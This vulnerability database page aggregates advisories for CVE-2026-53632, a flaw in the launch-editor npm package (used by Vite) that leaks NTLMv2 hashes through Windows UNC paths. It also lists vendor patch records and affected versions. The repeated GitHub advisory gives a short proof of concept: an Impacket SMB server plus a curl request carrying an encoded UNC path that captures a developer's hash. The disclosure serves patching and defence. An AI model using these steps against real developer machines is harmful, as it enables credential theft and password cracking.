Every CVE Search/ Get API key

CVE-2026-53632

NTLMv2 hash disclosure via UNC path handling on Windows

5.5 MediumFix available

launch-editor allows users to open files with line numbers in editor from Node.js. Prior to 2.14.1, the launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking. This vulnerability is fixed in 2.14.1.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
None
User interaction
Active

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
None

Exploit likelihood

0.41%Up 0.1 points since Jun 23, 2026
90%50%10%1%

What each source reports

CVE List Score used 5.5

NTLMv2 hash disclosure via UNC path handling on Windows

launch-editor allows users to open files with line numbers in editor from Node.js. Prior to 2.14.1, the launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking. This vulnerability is fixed in 2.14.1.

Record
CVE-2026-53632
CVSS 4.0
5.5 MediumCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H
Weakness
CWE-73, CWE-522
Updated
2026-11-02
EUVDEUVD-2026-38299 5.5

launch-editor allows users to open files with line numbers in editor from Node.js. Prior to 2.14.1, the launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking. This vulnerability is fixed in 2.14.1.

Record
EUVD-2026-38299
CVSS 4.0
5.5 MediumCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-v6wh-96g9-6wx3 5.5

launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows

Summary

The launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.

Impact

If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the launch-editor:

  • using Windows
  • NTLM is not disabled (it is recommended to disable, while it's still enabled by default)
  • the user accesses the attackers website that sends request to a middleware using launch-editor
  • the server that has the middleware using launch-editor is running
  • the attacker knows the URL for that server and the middleware

This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.

Details

launch-editor accepts file paths without validating or restricting Windows UNC paths such as:

\\attacker-host\share

On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.

If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.

The attacker could target a developer that uses a development server using launch-editor to develop code locally, send them a link and grab their NTLMv2 hash.

PoC

From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use smbserver.py here.

First, let's create a directory to serve as an SMB share.

mkdir /tmp/data
echo "Hello world" > /tmp/data/test.txt

Then, start the SMB server.

$ sudo smbserver.py -smb2support -debug share /tmp/data

Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (vite).

Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use curl to achieve the same.

curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'

Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of smbserver.py and see the NTLMv2 hash coming in.

<img width="1916" height="277" alt="2026-01-30_10-58" src="https://github.com/user-attachments/assets/2f606e8f-c9bb-41dc-b507-ea6606b53368" />

Record
GHSA-v6wh-96g9-6wx3
CVSS 4.0
5.5 MediumCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H
Weakness
CWE-73, CWE-522
Updated
2026-11-02
NVD 5.5

launch-editor allows users to open files with line numbers in editor from Node.js. Prior to 2.14.1, the launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking. This vulnerability is fixed in 2.14.1.

Record
CVE-2026-53632
CVSS 4.0
5.5 MediumCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Weakness
CWE-73, CWE-522
Updated
2026-11-02
OSV 5.5

NTLMv2 hash disclosure via UNC path handling on Windows

launch-editor allows users to open files with line numbers in editor from Node.js. Prior to 2.14.1, the launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking. This vulnerability is fixed in 2.14.1.

Record
CVE-2026-53632
CVSS 4.0
5.5 MediumCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H
Weakness
CWE-522, CWE-73
Updated
2026-11-02
OSVGHSA-v6wh-96g9-6wx3 5.5

launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows

Summary

The launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.

Impact

If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the launch-editor:

  • using Windows
  • NTLM is not disabled (it is recommended to disable, while it's still enabled by default)
  • the user accesses the attackers website that sends request to a middleware using launch-editor
  • the server that has the middleware using launch-editor is running
  • the attacker knows the URL for that server and the middleware

This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.

Details

launch-editor accepts file paths without validating or restricting Windows UNC paths such as:

\\attacker-host\share

On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.

If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.

The attacker could target a developer that uses a development server using launch-editor to develop code locally, send them a link and grab their NTLMv2 hash.

PoC

From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use smbserver.py here.

First, let's create a directory to serve as an SMB share.

mkdir /tmp/data
echo "Hello world" > /tmp/data/test.txt

Then, start the SMB server.

$ sudo smbserver.py -smb2support -debug share /tmp/data

Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (vite).

Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use curl to achieve the same.

curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'

Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of smbserver.py and see the NTLMv2 hash coming in.

<img width="1916" height="277" alt="2026-01-30_10-58" src="https://github.com/user-attachments/assets/2f606e8f-c9bb-41dc-b507-ea6606b53368" />

Record
GHSA-v6wh-96g9-6wx3
CVSS 4.0
5.5 MediumCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H
Weakness
CWE-522, CWE-73
Updated
2026-11-02
Show 19 moreShow less
OSVCLSA-2026-1783991048 No score

TuxCare security update for vite (1 CVE)

TuxCare rebuilt vite to address 1 CVE. Fixed in 4.5.5-tuxcare.8.

Record
CLSA-2026-1783991048
Updated
2026-11-02
OSVCLSA-2026-1784596270 No score

TuxCare security update for vite (3 CVEs)

TuxCare rebuilt vite to address 3 CVEs. Fixed in 4.5.14-tuxcare.3.

Record
CLSA-2026-1784596270
Updated
2026-11-02
OSVCLSA-2026-1784683083 No score

TuxCare security update for vite (6 CVEs)

TuxCare rebuilt vite to address 6 CVEs. Fixed in 2.9.18-tuxcare.2.

Record
CLSA-2026-1784683083
Updated
2026-11-02
OSVCLSA-2026-1788966294 No score

TuxCare security update for vite (2 CVEs)

TuxCare rebuilt vite to address 2 CVEs. Fixed in 8.0.12-tuxcare.1.

Record
CLSA-2026-1788966294
Updated
2026-11-02
OSVCLSA-2026-1788967519 No score

TuxCare security update for vite (2 CVEs)

TuxCare rebuilt vite to address 2 CVEs. Fixed in 8.0.10-tuxcare.1.

Record
CLSA-2026-1788967519
Updated
2026-11-02
OSVCLSA-2026-1788976179 No score

TuxCare security update for vite (2 CVEs)

TuxCare rebuilt vite to address 2 CVEs. Fixed in 7.3.2-tuxcare.1.

Record
CLSA-2026-1788976179
Updated
2026-11-02
OSVCLSA-2026-1788976472 No score

TuxCare security update for vite (1 CVE)

TuxCare rebuilt vite to address 1 CVE. Fixed in 6.4.2-tuxcare.2.

Record
CLSA-2026-1788976472
Updated
2026-11-02
OSVCLSA-2026-1789031855 No score

TuxCare security update for vite (16 CVEs)

TuxCare rebuilt vite to address 16 CVEs. Fixed in 4.1.5-tuxcare.1.

Record
CLSA-2026-1789031855
Updated
2026-11-02
OSVCLSA-2026-1789032018 No score

TuxCare security update for vite (2 CVEs)

TuxCare rebuilt vite to address 2 CVEs. Fixed in 8.0.8-tuxcare.1.

Record
CLSA-2026-1789032018
Updated
2026-11-02
OSVCLSA-2026-1789465375 No score

TuxCare security update for launch-editor (2 CVEs)

TuxCare rebuilt launch-editor to address 2 CVEs. Fixed in 2.2.1-tuxcare.1.

Record
CLSA-2026-1789465375
Updated
2026-11-02
OSVCLSA-2026-1790758113 No score

TuxCare security update for vite (2 CVEs)

TuxCare rebuilt vite to address 2 CVEs. Fixed in 8.0.9-tuxcare.1.

Record
CLSA-2026-1790758113
Updated
2026-11-02
OSVCLSA-2026-1790759630 No score

TuxCare security update for vite (2 CVEs)

TuxCare rebuilt vite to address 2 CVEs. Fixed in 7.3.3-tuxcare.1.

Record
CLSA-2026-1790759630
Updated
2026-11-02
OSVCLSA-2026-1791814956 No score

TuxCare security update for vite (3 CVEs)

TuxCare rebuilt vite to address 3 CVEs. Fixed in 5.0.12-tuxcare.6.

Record
CLSA-2026-1791814956
Updated
2026-11-02
OSVCLSA-2026-1791833577 No score

TuxCare security update for vite (1 CVE)

TuxCare rebuilt vite to address 1 CVE. Fixed in 4.5.0-tuxcare.3.

Record
CLSA-2026-1791833577
Updated
2026-11-02
OSVCLSA-2026-1791897792 No score

TuxCare security update for vite (8 CVEs)

TuxCare rebuilt vite to address 8 CVEs. Fixed in 5.4.10-tuxcare.4.

Record
CLSA-2026-1791897792
Updated
2026-11-02
OSVCLSA-2026-1792225953 No score

TuxCare security update for @vitejs/plugin-react (7 CVEs)

TuxCare rebuilt @vitejs/plugin-react to address 7 CVEs. Fixed in 2.9.18-tuxcare.2.

Record
CLSA-2026-1792225953
Updated
2026-11-02
OSVopenSUSE-SU-2026:11680-1 No score

agama-web-ui-24+0.a836cced5-52.1 on GA media

These are all security issues fixed in the agama-web-ui-24+0.a836cced5-52.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:11680-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:21448-1 No score

Security update for agama-web-ui

This update for agama-web-ui fixes the following issues:

  • CVE-2025-7783: form-data: unsafe Math.random() function is used to select a boundary value for multipart form-encoded data (bsc#1246822).
  • CVE-2026-12143: form-data: CRLF injection via unescaped multipart field names and filenames (bsc#1272310).
  • CVE-2026-13149: brace-expansion: expand() function exhibits exponential-time complexity when processing non-expanding {} brace groups (bsc#1269927).
  • CVE-2026-13311: shell-quote: quadratic complexity in parse() function when processing specially crafted strings (bsc#1269359).
  • CVE-2026-13676: fast-uri: host-based policy bypass due to failure to canonicalize Unicode/IDN hostnames for HTTP-family URLs (bsc#1269595).
  • CVE-2026-27601: underscore: DoS via stack overflow due to missing depth limits in _.flatten and _.isEqual functions (bsc#1259169).
  • CVE-2026-40181: react-router: open redirect to an external domain due to path values starting with // being reinterpreted as protocol-relative URLs (bsc#1272311).
  • CVE-2026-49356: @babel/core: arbitrary file read via sourceMappingURL comment (bsc#1272317).
  • CVE-2026-53550: js-yaml: quadratic complexity in merge-key processing when processing a crafted YAML document (bsc#1268851).
  • CVE-2026-53632: launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows (bsc#1272319).
  • CVE-2026-54466: websocket-driver: message corruption via abuse of protocol length headers (bsc#1272312).
  • CVE-2026-54490: websocket-driver: resource limit bypass via message compression (bsc#1272313).
  • CVE-2026-55602: http-proxy-middleware: Host-header-driven backend routing bypass via router host+path substring matching (bsc#1272318).
Record
openSUSE-SU-2026:21448-1
Updated
2026-11-02
OSVROOT-APP-NPM-CVE-2026-53632 No score

CVE-2026-53632 in vite - Patched by Root

Root has patched CVE-2026-53632 in the vite package for Root:npm. Multiple fixed versions available.

Record
ROOT-APP-NPM-CVE-2026-53632
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
launch-editor
npm
through 2.14.0
2.14.1
vite
npm
8.0.0 to 8.0.15
8.0.16
vite
npm
7.0.0 to 7.3.4
7.3.5
vite
npm
through 6.4.2
6.4.3
vite-plus
npm
through 0.1.23
0.1.24
vite
TuxCare:npm
4.5.5-tuxcare.0 up to 4.5.5-tuxcare.8, plus listed versions
4.5.54.5.5-tuxcare.14.5.5-tuxcare.24.5.5-tuxcare.34.5.5-tuxcare.44.5.5-tuxcare.54.5.5-tuxcare.64.5.5-tuxcare.7
4.5.5-tuxcare.8
vite
TuxCare:npm
From an advisory covering 3 CVEs
4.5.14-tuxcare.0 up to 4.5.14-tuxcare.3, plus listed versions
4.5.144.5.14-tuxcare.14.5.14-tuxcare.2
4.5.14-tuxcare.3
vite
TuxCare:npm
From an advisory covering 6 CVEs
2.9.18-tuxcare.0 up to 2.9.18-tuxcare.2, plus listed versions
2.9.182.9.18-tuxcare.1
2.9.18-tuxcare.2
vite
TuxCare:npm
From an advisory covering 2 CVEs
8.0.12-tuxcare.0 up to 8.0.12-tuxcare.1, plus listed versions
8.0.12
8.0.12-tuxcare.1
vite
TuxCare:npm
From an advisory covering 2 CVEs
8.0.10-tuxcare.0 up to 8.0.10-tuxcare.1, plus listed versions
8.0.10
8.0.10-tuxcare.1
Show 22 moreShow less
Affected packages
PackageAffectedFixed
vite
TuxCare:npm
From an advisory covering 2 CVEs
7.3.2-tuxcare.0 up to 7.3.2-tuxcare.1, plus listed versions
7.3.2
7.3.2-tuxcare.1
vite
TuxCare:npm
6.4.2-tuxcare.0 up to 6.4.2-tuxcare.2, plus listed versions
6.4.26.4.2-tuxcare.1
6.4.2-tuxcare.2
vite
TuxCare:npm
From an advisory covering 16 CVEs
4.1.5-tuxcare.0 up to 4.1.5-tuxcare.1, plus listed versions
4.1.5
4.1.5-tuxcare.1
vite
TuxCare:npm
From an advisory covering 2 CVEs
8.0.8-tuxcare.0 up to 8.0.8-tuxcare.1, plus listed versions
8.0.8
8.0.8-tuxcare.1
launch-editor
TuxCare:npm
From an advisory covering 2 CVEs
2.2.1-tuxcare.0 up to 2.2.1-tuxcare.1, plus listed versions
2.2.1
2.2.1-tuxcare.1
vite
TuxCare:npm
From an advisory covering 2 CVEs
8.0.9-tuxcare.0 up to 8.0.9-tuxcare.1, plus listed versions
8.0.9
8.0.9-tuxcare.1
vite
TuxCare:npm
From an advisory covering 2 CVEs
7.3.3-tuxcare.0 up to 7.3.3-tuxcare.1, plus listed versions
7.3.3
7.3.3-tuxcare.1
vite
TuxCare:npm
From an advisory covering 3 CVEs
5.0.12-tuxcare.0 up to 5.0.12-tuxcare.6, plus listed versions
5.0.125.0.12-tuxcare.15.0.12-tuxcare.25.0.12-tuxcare.35.0.12-tuxcare.45.0.12-tuxcare.5
5.0.12-tuxcare.6
vite
TuxCare:npm
4.5.0-tuxcare.0 up to 4.5.0-tuxcare.3, plus listed versions
4.5.04.5.0-tuxcare.14.5.0-tuxcare.2
4.5.0-tuxcare.3
vite
TuxCare:npm
From an advisory covering 8 CVEs
5.4.10-tuxcare.0 up to 5.4.10-tuxcare.4, plus listed versions
5.4.105.4.10-tuxcare.15.4.10-tuxcare.25.4.10-tuxcare.3
5.4.10-tuxcare.4
@vitejs/plugin-react
TuxCare:npm
From an advisory covering 7 CVEs
2.9.18-tuxcare.0 up to 2.9.18-tuxcare.2, plus listed versions
2.9.182.9.18-tuxcare.1
2.9.18-tuxcare.2
launch-editor
npm
before 2.14.1
2.14.1
vite
npm
8.0.0 up to 8.0.16
8.0.16
vite
npm
7.0.0 up to 7.3.5
7.3.5
vite
npm
before 6.4.3
6.4.3
vite-plus
npm
before 0.1.24
0.1.24
vite
Root:npm
before 5.4.21-aikido.3
5.4.21-aikido.38.0.14-aikido.15.4.21-aikido.4
launch-editor
Root:npm
before 2.9.1-aikido.1
2.9.1-aikido.12.13.2-aikido.12.14.0-aikido.12.10.0-aikido.1
@rootio/vite
Root:npm
before 5.4.21-root.io.3
5.4.21-root.io.38.0.14-root.io.15.4.21-root.io.4
@rootio/launch-editor
Root:npm
before 2.9.1-root.io.1
2.9.1-root.io.12.13.2-root.io.12.14.0-root.io.12.10.0-root.io.1
agama-web-ui
openSUSE:Tumbleweed
From an advisory covering 19 CVEs
before 24+0.a836cced5-52.1
24+0.a836cced5-52.1
agama-web-ui
openSUSE:Leap 16.0
From an advisory covering 13 CVEs
before 17+673.b97ba64d6-160000.12.1
17+673.b97ba64d6-160000.12.1

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-53632 is a medium vulnerability (CVSS 5.5) in Vitejs Launch-editor, published June 15, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.41%, the 35th percentile. Fixed in launch-editor 2.14.1.

References

Show 37 moreShow less
MoveEnter Open